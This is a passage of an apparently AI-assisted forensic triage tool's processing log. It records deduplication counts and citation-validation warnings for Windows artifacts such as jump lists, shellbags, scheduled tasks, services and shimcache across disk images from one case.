  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T11:16:00.193Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 56.37543,
  "status": "success",
  "token_count": 752
}
2026-06-13T11:16:00.206Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "sf.py",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spiderfoot.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "tdungan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'sf.py' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spiderfoot.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'tdungan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:16:00.208Z analysis_started
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:16:00.236Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__jumplist.automatic_destination.csv",
  "artifact_key": "jumplist.automatic_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.automatic_destination.csv"
}
2026-06-13T11:16:00.243Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__jumplist.automatic_destination.csv",
  "annotated_rows": 1,
  "artifact_key": "jumplist.automatic_destination",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.automatic_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T11:17:36.386Z analysis_completed
{
  "artifact_key": "jumplist.automatic_destination",
  "artifact_name": "Automatic Jump Lists",
  "duration_seconds": 96.170469,
  "status": "success",
  "token_count": 1517
}
2026-06-13T11:17:36.407Z citation_validation
{
  "artifact_key": "jumplist.automatic_destination",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Competitive_Intel_Metals_Cybernetics.docx",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ProgramData",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "lnk_mtime",
      "match_status": "exact",
      "matched_header": "lnk_mtime"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Competitive_Intel_Metals_Cybernetics.docx' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ProgramData' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:17:36.410Z analysis_started
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:17:36.416Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__jumplist.custom_destination.csv",
  "artifact_key": "jumplist.custom_destination",
  "projection_columns": [
    "type",
    "application_name",
    "lnk_name",
    "lnk_full_path",
    "lnk_arguments",
    "local_base_path",
    "common_path_suffix",
    "lnk_path",
    "lnk_workdir",
    "lnk_net_name",
    "lnk_device_name",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.custom_destination.csv"
}
2026-06-13T11:17:36.419Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__jumplist.custom_destination.csv",
  "annotated_rows": 6,
  "artifact_key": "jumplist.custom_destination",
  "removed_records": 12,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/jumplist.custom_destination.csv",
  "variant_columns": [
    "lnk_arguments",
    "lnk_mtime",
    "lnk_atime",
    "lnk_ctime",
    "target_mtime",
    "target_atime",
    "target_ctime"
  ]
}
2026-06-13T11:19:39.141Z analysis_completed
{
  "artifact_key": "jumplist.custom_destination",
  "artifact_name": "Custom Jump Lists",
  "duration_seconds": 122.727716,
  "status": "success",
  "token_count": 534
}
2026-06-13T11:19:39.147Z citation_validation
{
  "artifact_key": "jumplist.custom_destination",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "checked",
  "warning_count": 0,
  "warnings": []
}
2026-06-13T11:19:39.151Z analysis_started
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:19:39.161Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__shellbags.csv",
  "artifact_key": "shellbags",
  "projection_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime",
    "type",
    "path",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shellbags.csv"
}
2026-06-13T11:19:39.164Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__shellbags.csv",
  "annotated_rows": 6,
  "artifact_key": "shellbags",
  "removed_records": 17,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/shellbags.csv",
  "variant_columns": [
    "ts_mtime",
    "ts_atime",
    "ts_btime"
  ]
}
2026-06-13T11:22:41.265Z analysis_completed
{
  "artifact_key": "shellbags",
  "artifact_name": "Shellbags",
  "duration_seconds": 182.110064,
  "status": "success",
  "token_count": 892
}
2026-06-13T11:22:41.271Z citation_validation
{
  "artifact_key": "shellbags",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "mhill",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Quarantine",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SAM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SECURITY",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Run",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ts_atime",
      "match_status": "exact",
      "matched_header": "ts_atime"
    },
    {
      "cited": "ts_btime",
      "match_status": "exact",
      "matched_header": "ts_btime"
    },
    {
      "cited": "ts_mtime",
      "match_status": "exact",
      "matched_header": "ts_mtime"
    }
  ],
  "warning_count": 5,
  "warnings": [
    "Note: AI cited column 'mhill' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Quarantine' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SAM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SECURITY' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Run' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:22:41.275Z analysis_started
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:22:41.279Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__sam.csv",
  "artifact_key": "sam",
  "projection_columns": [
    "ts",
    "rid",
    "username",
    "fullname",
    "admincomment",
    "usercomment",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin",
    "failedlogins",
    "logins",
    "flags"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/sam.csv"
}
2026-06-13T11:22:41.282Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__sam.csv",
  "annotated_rows": 0,
  "artifact_key": "sam",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/sam.csv",
  "variant_columns": [
    "ts",
    "lastlogin",
    "lastpasswordset",
    "lastincorrectlogin"
  ]
}
2026-06-13T11:27:55.060Z analysis_completed
{
  "artifact_key": "sam",
  "artifact_name": "SAM Users",
  "duration_seconds": 313.781688,
  "status": "success",
  "token_count": 939
}
2026-06-13T11:27:55.064Z citation_validation
{
  "artifact_key": "sam",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "range_admin",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "defaultuser0",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "flags",
      "match_status": "exact",
      "matched_header": "flags"
    },
    {
      "cited": "lastlogin",
      "match_status": "exact",
      "matched_header": "lastlogin"
    },
    {
      "cited": "ts",
      "match_status": "exact",
      "matched_header": "ts"
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'range_admin' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'defaultuser0' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:27:55.067Z analysis_started
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:27:55.071Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__network_history.csv",
  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/network_history.csv"
}
2026-06-13T11:27:55.074Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed_deduplicated/6d4f645a-4d9c-46c3-a93f-317ae2800b3b__network_history.csv",
  "annotated_rows": 0,
  "artifact_key": "network_history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/6d4f645a-4d9c-46c3-a93f-317ae2800b3b/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T11:29:25.970Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 90.899849,
  "status": "success",
  "token_count": 539
}
2026-06-13T11:29:25.975Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "default_gateway_mac",
      "match_status": "exact",
      "matched_header": "default_gateway_mac"
    },
    {
      "cited": "a2c6c7000705",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_connected",
      "match_status": "exact",
      "matched_header": "last_connected"
    },
    {
      "cited": "profile_name",
      "match_status": "exact",
      "matched_header": "profile_name"
    },
    {
      "cited": "description",
      "match_status": "exact",
      "matched_header": "description"
    },
    {
      "cited": "Network",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "signature",
      "match_status": "exact",
      "matched_header": "signature"
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'a2c6c7000705' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Network' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:29:25.978Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:29:25.982Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/runkeys.csv"
}
2026-06-13T11:29:25.985Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__runkeys.csv",
  "annotated_rows": 3,
  "artifact_key": "runkeys",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:30:09.320Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 43.339048,
  "status": "success",
  "token_count": 392
}
2026-06-13T11:30:09.331Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "mctadmin.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Sidebar",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mctadmin",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'mctadmin.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Sidebar' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mctadmin' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:30:09.334Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:30:09.833Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/tasks.csv"
}
2026-06-13T11:30:09.845Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__tasks.csv",
  "annotated_rows": 14,
  "artifact_key": "tasks",
  "removed_records": 28,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T11:32:31.817Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 142.479611,
  "status": "success",
  "token_count": 617
}
2026-06-13T11:32:31.823Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Update_Sysmon_Rules",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "SYSTEM",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "HighestAvailable",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "True",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "last_run_date",
      "match_status": "exact",
      "matched_header": "last_run_date"
    }
  ],
  "warning_count": 4,
  "warnings": [
    "Note: AI cited column 'Update_Sysmon_Rules' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'SYSTEM' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'HighestAvailable' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'True' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:32:31.827Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:32:31.889Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/services.csv"
}
2026-06-13T11:32:31.892Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__services.csv",
  "annotated_rows": 460,
  "artifact_key": "services",
  "removed_records": 1360,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T11:34:40.995Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 129.162043,
  "status": "success",
  "token_count": 1082
}
2026-06-13T11:34:41.007Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "row_refs": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "tbbd05",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "b6a1458f396",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "PerfMon",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "perfmonsvc64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Mnemosyne.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "imagepath",
      "match_status": "exact",
      "matched_header": "imagepath"
    },
    {
      "cited": "description",
      "match_status": "exact",
      "matched_header": "description"
    }
  ],
  "warning_count": 8,
  "warnings": [
    "Note: AI cited column 'tbbd05' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'b6a1458f396' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'PerfMon' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'perfmonsvc64.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Mnemosyne.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T11:34:41.010Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T11:34:41.035Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shimcache.csv"
}
2026-06-13T11:34:41.038Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed_deduplicated/801988de-0f5b-4a11-848b-ad1e6011fb88__shimcache.csv",
  "annotated_rows": 272,
  "artifact_key": "shimcache",
  "removed_records": 892,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/801988de-0f5b-4a11-848b-ad1e6011fb88/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T11:37:50.956Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 189.943358,
  "status": "success",
  "token_count": 1108
}
2026-06-13T11:37:50.965Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Autorunsc.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "sysmon64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Install_Sysmon.bat",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "wsmprovhost.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "powershell.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "schtasks.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
